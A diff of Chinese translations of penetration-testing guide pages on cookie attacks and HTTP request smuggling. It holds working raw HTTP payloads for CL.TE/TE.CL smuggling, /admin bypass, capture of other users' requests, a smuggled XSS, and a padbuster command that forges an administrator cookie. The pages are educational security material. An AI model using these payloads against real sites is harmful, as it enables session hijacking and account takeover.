**\*请注意,从 Chrome802019年2月开始未设置 cookie samesite 属性的默认行为将为 lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
请注意,临时情况下,在应用此更改后,**没有 SameSite** **策略的 cookie 在 Chrome 中将被 **视为 None**,在 **前 2 分钟内,然后在顶级跨站点 POST 请求中视为 Lax**。
## Cookies Flags
@ -58,8 +58,8 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
#### **Bypasses**
- 如果页面 **作为请求的响应发送 cookie**(例如在 **PHPinfo** 页面中),可以利用 XSS 发送请求到此页面并 **窃取响应中的 cookie**(请查看 [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) 中的示例)。
- 通过 **TRACE** **HTTP** 请求可以绕过,因为服务器的响应将反映发送的 cookie如果此 HTTP 方法可用)。此技术称为 **Cross-Site Tracking**
- 如果页面 **将 cookie 作为请求的响应发送**(例如在 **PHPinfo** 页面中),可以利用 XSS 发送请求到此页面并 **窃取响应中的 cookie**(请查看 [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) 中的示例)。
- 这可以通过 **TRACE** **HTTP** 请求绕过,因为服务器的响应将反映发送的 cookie如果此 HTTP 方法可用)。此技术称为 **Cross-Site Tracking**
- 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而,在特定软件中发现了一些绕过方法,例如向 IE6.0 SP2 发送 `\r\nTRACE` 而不是 `TRACE`
- 另一种方法是利用浏览器的零日漏洞。
- 通过执行 Cookie Jar 溢出攻击,可以 **覆盖 HttpOnly cookies**
@ -68,32 +68,32 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
cookie-jar-overflow.md
{{#endref}}
- 可以使用 [**Cookie Smuggling**](./#cookie-smuggling) 攻击来外泄这些 cookie。
- 可以使用 [**Cookie Smuggling**](#cookie-smuggling) 攻击来外泄这些 cookie。
### Secure
请求将 **仅** 在通过安全通道(通常是 **HTTPS**)传输发送 cookie。
请求将 **仅** 在通过安全通道(通常是 **HTTPS**)传输的 HTTP 请求中发送 cookie。
## Cookies Prefixes
`__Secure-` 开头的 cookie 必须与来自 HTTPS 的页面一起设置 `secure` 标志
`__Secure-` 开头的 cookie 必须与通过 HTTPS 保护的页面的 `secure` 标志一起设置
对于以 `__Host-` 开头的 cookie必须满足几个条件
- 必须设置 `secure` 标志。
- 必须来自 HTTPS 保护的页面。
- 必须来自通过 HTTPS 保护的页面。
- 禁止指定域,防止其传输到子域。
- 这些 cookie 的路径必须设置为 `/`
重要的是要注意,以 `__Host-` 开头的 cookie 不允许发送到超级域或子域。此限制有助于隔离应用程序 cookie。因此使用 `__Host-` 前缀为所有应用程序 cookie 被视为增强安全性和隔离的良好做法。
重要的是要注意,以 `__Host-` 开头的 cookie 不允许发送到超级域或子域。此限制有助于隔离应用程序 cookie。因此使用 `__Host-` 前缀为所有应用程序 cookie 被视为增强安全性和隔离的良好做法。
### Overwriting cookies
因此,`__Host-` 前缀 cookie 的保护之一是防止它们被子域覆盖。例如,防止 [**Cookie Tossing attacks**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) 中,展示了可以通过欺骗解析器从子域设置 \_\_HOST- 前缀的 cookie例如在开头或结尾添加 "="
因此,`__Host-` 前缀 cookie 的保护之一是防止它们被子域覆盖。例如,防止 [**Cookie Tossing attacks**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) 中,展示了可以通过欺骗解析器设置 \_\_HOST- 前缀的 cookie例如在开头或结尾添加 "="
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
或者在 PHP 中,可以在 cookie 名称的 **开头添加其他字符**,这些字符将被 **替换为下划线** 字符从而允许覆盖 `__HOST-` cookies
或者在 PHP 中,可以在 cookie 名称的开头添加 **其他字符**,这些字符将被 **替换为下划线**,允许覆盖 `__HOST-` cookies
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
@ -107,13 +107,13 @@ cookie-jar-overflow.md
### Session Hijacking
此攻击涉及窃取用户的 cookie以获得对其在应用程序中的帐户的未授权访问。通过使用被盗的 cookie攻击者可以冒充合法用户。
此攻击涉及窃取用户的 cookie以获得对其在应用程序中的帐户的未授权访问。通过使用被盗的 cookie攻击者可以冒充合法用户。
### Session Fixation
在这种情况下,攻击者诱使受害者使用特定的 cookie 登录。如果应用程序在登录时不分配新 cookie攻击者持有原始 cookie可以冒充受害者。此技术依赖于受害者使用攻击者提供的 cookie 登录。
如果您在 **子域中发现了 XSS** **控制了子域**,请阅读:
如果您在 **子域中发现了 XSS****控制一个子域**,请阅读:
{{#ref}}
cookie-tossing.md
@ -123,7 +123,7 @@ cookie-tossing.md
在这里,攻击者说服受害者使用攻击者的会话 cookie。受害者相信他们已登录自己的帐户将无意中在攻击者的帐户上下文中执行操作。
如果您在 **子域中发现了 XSS** **控制了子域**,请阅读:
如果您在 **子域中发现了 XSS****控制一个子域**,请阅读:
{{#ref}}
cookie-tossing.md
@ -133,7 +133,7 @@ cookie-tossing.md
点击上面的链接访问解释 JWT 可能存在缺陷的页面。
用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息,建议访问与 JWT 黑客相关的文档。
用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息,建议访问有关黑客 JWT 的链接文档。
### Cross-Site Request Forgery (CSRF)
@ -167,13 +167,13 @@ document.cookie = "\ud800=meep"
#### 由于解析问题导致的 Cookie 走私
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节) 一些网络服务器,包括 JavaJetty, TomCat, Undertow和 PythonZope, cherrypy, web.py, aiohttp, bottle, webob由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将双引号括起来的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节)包括 JavaJetty, TomCat, Undertow和 PythonZope, cherrypy, web.py, aiohttp, bottle, webob在内的多个网络服务器,由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将带有双引号的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Vulnerabilities
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节) 服务器对 cookies 的错误解析,特别是 Undertow、Zope 以及使用 Python 的 `http.cookie.SimpleCookie``http.cookie.BaseCookie` 的服务器,创造了 cookie 注入攻击的机会。这些服务器未能正确分隔新 cookie 的开始,允许攻击者伪造 cookies
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) 服务器对 cookies 的错误解析,特别是 Undertow、Zope 以及使用 Python 的 `http.cookie.SimpleCookie``http.cookie.BaseCookie` 的服务器,为 cookie 注入攻击创造了机会。这些服务器未能正确分隔新 cookie 的开始,允许攻击者伪造 cookies
- Undertow 期望在带引号的值后立即出现新 cookie而不需要分号。
- Zope 寻找逗号以开始解析下一个 cookie。
@ -183,11 +183,11 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
### Cookies $version and WAF bypasses
根据[**这篇博客**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie),可能可以使用 cookie 属性 **`$Version=1`** 使后端使用旧逻辑解析 cookie原因是 **RFC2109**。此外,其他值如 **`$Domain`** 和 **`$Path`** 可以用来修改后端对 cookie 的行为。
根据 [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie),可能可以使用 cookie 属性 **`$Version=1`** 使后端使用旧逻辑解析 cookie原因是 **RFC2109**。此外,其他值如 **`$Domain`** 和 **`$Path`** 可以用来修改后端对 cookie 的行为。
#### Bypassing value analysis with quoted-string encoding
这种解析指示在 cookies 内部取消转义的值,因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用,因为:
这种解析表明要取消对 cookies 内部转义值的转义,因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用,因为:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
@ -198,14 +198,14 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
#### Bypassing value analysis with cookie splitting
最后,不同的后门会将不同的 cookies 通过不同的 cookie 头连接成一个字符串,如:&#x20;
最后,不同的后门会将不同的 cookie 通过不同的 cookie 头连接成一个字符串,如:&#x20;
```
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
这可能允许绕过WAF,如此示例所示
这可能允许绕过像这个例子中的WAF
```
Cookie: name=eval('test//
Cookie: comment')
@ -220,15 +220,15 @@ Resulting cookie: name=eval('test//, comment') => allowed
- 登出并尝试使用相同的 cookie。
- 尝试在 2 个设备(或浏览器)上使用相同的 cookie 登录同一账户。
- 检查 cookie 中是否有任何信息并尝试修改它。
- 尝试创建多个几乎相同用户名的账户并检查是否可以看到相似之处。
- 检查是否存在 "**记住我**" 选项以查看其工作原理。如果存在并且可能存在漏洞,始终使用 "**记住我**" 的 cookie而不使用其他 cookie。
- 尝试创建多个几乎相同用户名的账户并检查是否可以看到相似之处。
- 检查是否存在 "**记住我**" 选项以查看其工作原理。如果存在并且可能存在漏洞,始终使用 "**记住我**" 的 cookie而不使用其他 cookie。
- 检查即使在更改密码后,之前的 cookie 是否仍然有效。
#### **高级 cookie 攻击**
如果在登录时 cookie 保持不变(或几乎不变),这可能意味着该 cookie 与您账户的某个字段相关(可能是用户名)。然后您可以:
- 尝试创建许多非常 **相似**用户名的 **账户** 并尝试 **猜测** 算法的工作原理。
- 尝试创建许多非常 **相似** **账户**并尝试 **猜测** 算法的工作原理。
- 尝试 **暴力破解用户名**。如果 cookie 仅作为您用户名的身份验证方法保存,那么您可以创建一个用户名为 "**Bmin**" 的账户,并 **暴力破解** 您的 cookie 的每一个 **位**,因为您尝试的其中一个 cookie 将是属于 "**admin**" 的。
- 尝试 **填充** **Oracle**(您可以解密 cookie 的内容)。使用 **padbuster**
@ -250,11 +250,11 @@ Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
此执行将为您提供正确加密和编码的 cookie其中包含字符串 **user=administrator**
此执行将正确加密和编码包含字符串 **user=administrator** 的 cookie
**CBC-MAC**
也许一个 cookie 可以有一些值,并可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV这种完整性检查可能会受到攻击
也许一个 cookie 可以有某个值,并且可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV这种完整性检查可能会存在漏洞
**攻击**
@ -264,16 +264,16 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**ECB**
如果 cookie 使用 ECB 加密,则可能会受到攻击。\
如果 cookie 使用 ECB 加密,则可能存在漏洞。\
当您登录时,您收到的 cookie 必须始终相同。
**如何检测和攻击:**
创建 2 个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定 cookie 中的某些模式。
创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
创建一个名为 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" 的用户,并检查 cookie 中是否存在任何模式(由于 ECB 使用相同的密钥加密每个块,如果用户名被加密,则相同的加密字节可能会出现)。
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名: "a"\*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
应该有一个模式(与使用的块的大小相同)。因此,知道一堆 "a" 是如何加密的,您可以创建一个用户名:"a"*(块的大小)+"admin"。然后,您可以从 cookie 中删除一个块的 "a" 的加密模式。您将拥有用户名 "admin" 的 cookie。
## 参考

View File

@ -15,7 +15,7 @@
**Content-Length**
> Content-Length 实体头指示发送给接收的实体主体的大小(以字节为单位)。
> Content-Length 实体头指示发送给接收的实体主体的大小(以字节为单位)。
**Transfer-Encoding: chunked**
@ -25,34 +25,34 @@
### 现实
**前端**(负载均衡/反向代理)**处理** _**content-length**__**transfer-encoding**_ 头,而**后端**服务器**处理另一个**,导致两个系统之间发生**不同步**。\
这可能非常关键,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器**视为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**注入的**第二个请求**就好像它**来自下一个客户端**,而该客户端的**真实请求**将是**注入请求**的一部分。
这可能非常关键,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器**视为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**注入的**第二个请求**仿佛它**来自下一个客户端**,而该客户端的**真实请求**将是**注入请求**的一部分。
### 特点
请记住在HTTP中**新行字符由2个字节组成**
请记住在HTTP中**换行符由2个字节组成**
- **Content-Length**:此头使用**十进制数字**指示请求**主体**的**字节数**。主体预计在最后一个字符结束,**请求末尾不需要行**。
- **Transfer-Encoding:** 此头在**主体**中使用**十六进制数字**指示**下一个块**的**字节数**。**块**必须以**新行**结束,但此新行**不计入**长度指示符。此传输方法必须以**大小为0的块后跟2个新行**结束:`0`
- **Content-Length**:此头使用**十进制数字**指示请求**主体**的**字节数**。主体预计在最后一个字符结束,**请求末尾不需要行**。
- **Transfer-Encoding:** 此头在**主体**中使用**十六进制数字**指示**下一个块**的**字节数**。**块**必须以**换行**结束,但此换行**不计入**长度指示器。此传输方法必须以**大小为0的块后跟2个换行**结束:`0`
- **Connection**:根据我的经验,建议在请求走私的第一个请求中使用**`Connection: keep-alive`**。
## 基本示例
> [!TIP]
> 在尝试使用Burp Suite进行利用时**禁用 `Update Content-Length``Normalize HTTP/1 line endings`**,因为某些工具滥用新行、回车和格式错误的内容长度。
> 在尝试使用Burp Suite进行利用时**禁用 `Update Content-Length``Normalize HTTP/1 line endings`**,因为某些工具滥用换行符、回车和格式错误的内容长度。
HTTP请求走私攻击是通过发送模棱两可的请求来构造的这些请求利用前端和后端服务器在解释`Content-Length`CL`Transfer-Encoding`TE头时的差异。这些攻击可以以不同形式表现主要为**CL.TE**、**TE.CL**和**TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外和潜在的恶意结果。
HTTP请求走私攻击是通过发送模棱两可的请求来构造的这些请求利用前端和后端服务器在解释`Content-Length`CL`Transfer-Encoding`TE头时的差异。这些攻击可以以不同形式表现主要为**CL.TE**、**TE.CL**和**TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外和潜在的恶意结果。
### 漏洞类型的基本示例
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> 在前的表您应该添加TE.0技术类似于CL.0技术但使用Transfer Encoding。
> 在前的表中您应该添加TE.0技术类似于CL.0技术但使用Transfer Encoding。
#### CL.TE 漏洞前端使用Content-Length后端使用Transfer-Encoding
- **前端 (CL):** 根据`Content-Length`头处理请求。
- **后端 (TE):** 根据`Transfer-Encoding`头处理请求。
- **前端 (CL)** 根据`Content-Length`头处理请求。
- **后端 (TE)** 根据`Transfer-Encoding`头处理请求。
- **攻击场景:**
- 攻击者发送一个请求,其中`Content-Length`头的值与实际内容长度不匹配。
@ -75,8 +75,8 @@ Foo: x
#### TE.CL 漏洞前端使用Transfer-Encoding后端使用Content-Length
- **前端 (TE):** 根据`Transfer-Encoding`头处理请求。
- **后端 (CL):** 根据`Content-Length`头处理请求。
- **前端 (TE)** 根据`Transfer-Encoding`头处理请求。
- **后端 (CL)** 根据`Content-Length`头处理请求。
- **攻击场景:**
- 攻击者发送一个分块请求,其中块大小(`7b`)和实际内容长度(`Content-Length: 4`)不一致。
@ -102,14 +102,14 @@ x=
```
#### TE.TE 漏洞两者都使用Transfer-Encoding并进行模糊处理
#### TE.TE 漏洞两者都使用Transfer-Encoding带混淆
- **服务器:** 两者都支持`Transfer-Encoding`,但可以通过模糊处理使其中一个忽略它。
- **服务器:** 两者都支持`Transfer-Encoding`,但一个可以通过混淆被欺骗以忽略它。
- **攻击场景:**
- 攻击者发送一个带有模糊`Transfer-Encoding`头的请求。
- 根据哪个服务器(前端或后端)未能识别模糊处理可能会利用CL.TE或TE.CL漏洞。
- 请求中未处理的部分在其中一个服务器看来成为后续请求的一部分,导致走私。
- 攻击者发送一个带有混淆`Transfer-Encoding`头的请求。
- 根据哪个服务器(前端或后端)未能识别混淆可能会利用CL.TE或TE.CL漏洞。
- 请求中未处理的部分,作为其中一个服务器所见,成为后续请求的一部分,导致走私。
- **示例:**
```
@ -132,7 +132,7 @@ Transfer-Encoding
#### **CL.CL 场景前端和后端都使用Content-Length**
- 两个服务器仅根据`Content-Length`头处理请求。
- 此场景通常不会导致走私,因为两个服务器在解释请求长度时是一致的。
- 这种情况通常不会导致走私,因为两个服务器在解释请求长度时是一致的。
- **示例:**
```
@ -162,7 +162,7 @@ Non-Empty Body
#### TE.0 场景
- 类似于前一个场景但使用TE。
- 技术[这里报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- 技术[报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **示例**:
```
OPTIONS / HTTP/1.1
@ -183,9 +183,9 @@ EMPTY_LINE_HERE
```
#### 破坏网络服务器
该技术在可以**在读取初始HTTP数据时破坏网络服务器**但**不关闭连接**的场景中也很有用。这样HTTP请求的**主体**将被视为**下一个HTTP请求**。
此技术在某些场景中也很有用,在这些场景中,可以**在读取初始HTTP数据时破坏网络服务器**但**不关闭连接**。这样HTTP请求的**主体**将被视为**下一个HTTP请求**。
例如,如[**这篇文章**](https://mizu.re/post/twisty-python)中所解释的在Werkzeug中可以发送一些**Unicode**字符,这将使服务器**崩溃**。然而如果HTTP连接是使用**`Connection: keep-alive`**头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的**主体**将被视为**下一个HTTP请求**。
例如,如[**这篇文章**](https://mizu.re/post/twisty-python)中所在Werkzeug中可以发送一些**Unicode**字符,这会导致服务器**崩溃**。然而如果HTTP连接是使用**`Connection: keep-alive`**头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的**主体**将被视为**下一个HTTP请求**。
#### 通过逐跳头强制
@ -201,7 +201,7 @@ Connection: Content-Length
## 查找 HTTP 请求走私
识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法,还有其他策略和工具可以用来发现此类漏洞:
识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器响应被操纵请求所需的时间。这些技术对于检测 CL.TE 和 TE.CL 漏洞特别有用。除了这些方法,还有其他策略和工具可以用来查找此类漏洞:
### 使用时间技术查找 CL.TE 漏洞
@ -265,27 +265,19 @@ X
### HTTP 请求走私漏洞测试
在确认时间技术有效性后,验证客户端请求是否可以被操至关重要。一种简单的方法是尝试毒化您的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](./#basic-examples) 中讨论的 `CL.TE``TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
在确认时间技术有效性后,验证客户端请求是否可以被操至关重要。一种简单的方法是尝试毒化您的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [Basic Examples](#basic-examples) 中讨论的 `CL.TE``TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
**关键考虑事项**
在通过干扰其他请求测试请求走私漏洞时,请记住:
- **独立网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对两使用相同的连接并不能验证漏洞的存在。
- **独立网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对两个请求使用相同的连接并不能验证漏洞的存在。
- **一致的 URL 和参数:** 力求对两个请求使用相同的 URL 和参数名称。现代应用程序通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
- **时间和竞争条件:** “正常”请求旨在检测“攻击”请求的干扰,与其他并发应用请求竞争。因此,在“攻击”请求后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试以确认漏洞。
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分配到不同的后端系统。如果“攻击”和“正常”请求最终落在不同的系统上,攻击将不会成功。这个负载均衡方面可能需要多次尝试以确认漏洞。
- **意外用户影响:** 如果您的攻击无意中影响了另一个用户的请求(不是您发送的“正常”请求以进行检测),这表明您的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
- **意外用户影响:** 如果您的攻击无意中影响了另一个用户的请求(不是您发送的“正常”请求),这表明您的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
## 滥用 HTTP 请求走私
### 通过 HTTP 请求走私绕过前端安全
有时,前端代理会实施安全措施,审查传入请求。然而,这些措施可以通过利用 HTTP 请求走私来绕过,从而允许未经授权访问受限端点。例如,访问 `/admin` 可能在外部被禁止,前端代理积极阻止此类尝试。然而,这个代理可能未能检查嵌入在走私 HTTP 请求中的请求,从而留下绕过这些限制的漏洞。
考虑以下示例,说明如何使用 HTTP 请求走私绕过前端安全控制,特别是针对通常由前端代理保护的 `/admin` 路径:
**CL.TE 示例**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -320,11 +312,11 @@ a=x
0
```
相反在TE.CL攻击中初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续嵌入请求则基于`Content-Length`头进行处理。与CL.TE攻击类似前端代理忽视了被隐藏的`GET /admin`请求,意外地授予了对受限`/admin`路径的访问。
相反在TE.CL攻击中初始的`POST`请求使用`Transfer-Encoding: chunked`,而后续嵌入请求则基于`Content-Length`头进行处理。与CL.TE攻击类似前端代理忽视了被隐藏的`GET /admin`请求,意外地授予了对受限`/admin`路径的访问。
### 揭示前端请求重写 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头信息,例如`X-Forwarded-For: <IP of the client>`以将客户端的IP转发给后端。理解这些修改可能至关重要因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
应用程序通常使用**前端服务器**来修改传入请求,然后将其传递给后端服务器。典型的修改涉及添加头,例如`X-Forwarded-For: <IP of the client>`以将客户端的IP转发给后端。理解这些修改可能至关重要因为它可能揭示**绕过保护**或**发现隐藏的信息或端点**的方法。
要调查代理如何更改请求找到一个后端在响应中回显的POST参数。然后构造一个请求使用这个参数作为最后一个类似于以下内容
```
@ -347,13 +339,13 @@ search=
重要的是要将嵌套请求的 `Content-Length` 头与实际内容长度对齐。建议从一个小值开始并逐渐增加,因为过低的值会截断反射的数据,而过高的值可能会导致请求出错。
技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
这种技术在 TE.CL 漏洞的上下文中也适用,但请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数中。
此方法主要用于理解前端代理所做的请求修改,基本上进行自我导向的调查。
### 捕获其他用户的请求 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
通过在 POST 操作期间将特定请求附加为参数的值,可以捕获下一个用户的请求。以下是如何实现这一点的:
通过在 POST 操作期间将特定请求附加为参数的值,可以捕获下一个用户的请求。以下是如何实现这一点的:
通过将以下请求附加为参数的值,您可以存储后续客户端的请求:
```
@ -377,16 +369,16 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
在这种情况下,**comment 参数**旨在存储公开可访问页面上帖子评论部分的内容。因此,后续请求的内容将作为评论出现。
然而,这种技术有其局限性。通常,它仅捕获直到在走私请求中使用的参数分隔符的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害者用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
然而,这种技术有其局限性。通常,它仅捕获 smuggled 请求中使用的参数分隔符之前的数据。对于 URL 编码的表单提交,这个分隔符是 `&` 字符。这意味着从受害者用户请求中捕获的内容将在第一个 `&` 处停止,这可能甚至是查询字符串的一部分。
此外,值得注意的是,这种方法在 TE.CL 漏洞中也是可行的。在这种情况下,请求应以 `search=\r\n0` 结束。无论换行符如何,值将附加到搜索参数。
### 使用 HTTP 请求走私来利用反射型 XSS
HTTP 请求走私可以被利用来攻击易受 **反射型 XSS** 的网页,提供显著的优势:
HTTP 请求走私可以被用来利用易受 **反射型 XSS** 攻击的网页,提供显著的优势:
- **不需要**与目标用户互动。
- 允许在 **通常无法达到** 的请求部分利用 XSS例如 HTTP 请求头。
- 允许在 **通常无法达到** 的请求部分利用 XSS例如 HTTP 请求头。
在网站通过 User-Agent 头部易受反射型 XSS 攻击的情况下,以下有效载荷演示了如何利用此漏洞:
```
@ -409,26 +401,26 @@ Content-Type: application/x-www-form-urlencoded
A=
```
有效载荷的结构旨在利用漏洞,通过以下方式:
这个有效载荷的结构旨在利用漏洞,通过以下方式:
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头部以指示走私的开始
1. 发起一个看似典型的 `POST` 请求,带有 `Transfer-Encoding: chunked` 头部以指示开始走私。
2. 随后跟随一个 `0`,标记块消息体的结束。
3. 然后,引入一个走私的 `GET` 请求,其中 `User-Agent` 头部注入了一个脚本,`<script>alert(1)</script>`,当服务器处理这个后续请求时触发 XSS。
通过走私操控 `User-Agent`,该有效载荷绕过了正常请求限制,从而以非标准但有效的方式利用了反射型 XSS 漏洞。
通过走私操控 `User-Agent`,该有效载荷绕过了正常请求约束,从而以非标准但有效的方式利用了反射型 XSS 漏洞。
#### HTTP/0.9
> [!CAUTION]
> 如果用户内容在响应中以 **`Content-type`** 反射,例如 **`text/plain`**,将阻止 XSS 的执行。如果服务器支持 **HTTP/0.9,可能可以绕过这一点**
HTTP/0.9 版本早于 1.0,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
版本 HTTP/0.9 是在 1.0 之前,仅使用 **GET** 动词,并且 **不** 响应 **头部**,只有主体。
在 [**这篇文章**](https://mizu.re/post/twisty-python) 中,利用了请求走私和一个 **会回复用户输入的易受攻击端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应(带有头部和主体)**,因此响应将包含有效的可执行 JS 代码,`Content-Type``text/html`
在 [**这篇文章**](https://mizu.re/post/twisty-python) 中,这被滥用通过请求走私和一个 **会回复用户输入的易受攻击端点** 来走私一个 HTTP/0.9 请求。响应中反射的参数包含一个 **伪造的 HTTP/1.1 响应(带有头部和主体)**,因此响应将包含有效的可执行 JS 代码,`Content-Type``text/html`
### 利用 HTTP 请求走私进行站内重定向 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
应用程序通常通过使用重定向 URL 中的 `Host` 头部的主机名从一个 URL 重定向到另一个 URL。这在像 Apache 和 IIS 这样的 Web 服务器中很常见。例如,请求一个没有尾部斜杠的文件夹会导致重定向以包含斜杠:
应用程序通常通过使用重定向 URL 中的 `Host` 头部的主机名从一个 URL 重定向到另一个 URL。这在像 Apache 和 IIS 这样的 web 服务器中很常见。例如,请求一个没有尾部斜杠的文件夹会导致重定向以包含斜杠:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -470,7 +462,7 @@ Location: https://attacker-website.com/home/
如果 **前端基础设施的任何组件缓存内容**,通常是为了提高性能,则可以执行 Web 缓存中毒。通过操纵服务器的响应,可以 **毒化缓存**
之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [Basic Examples](./#basic-examples))。同样,可以欺骗服务器在请求 `/static/include.js` 时返回 `/index.html`内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问可能导致服务拒绝DoS
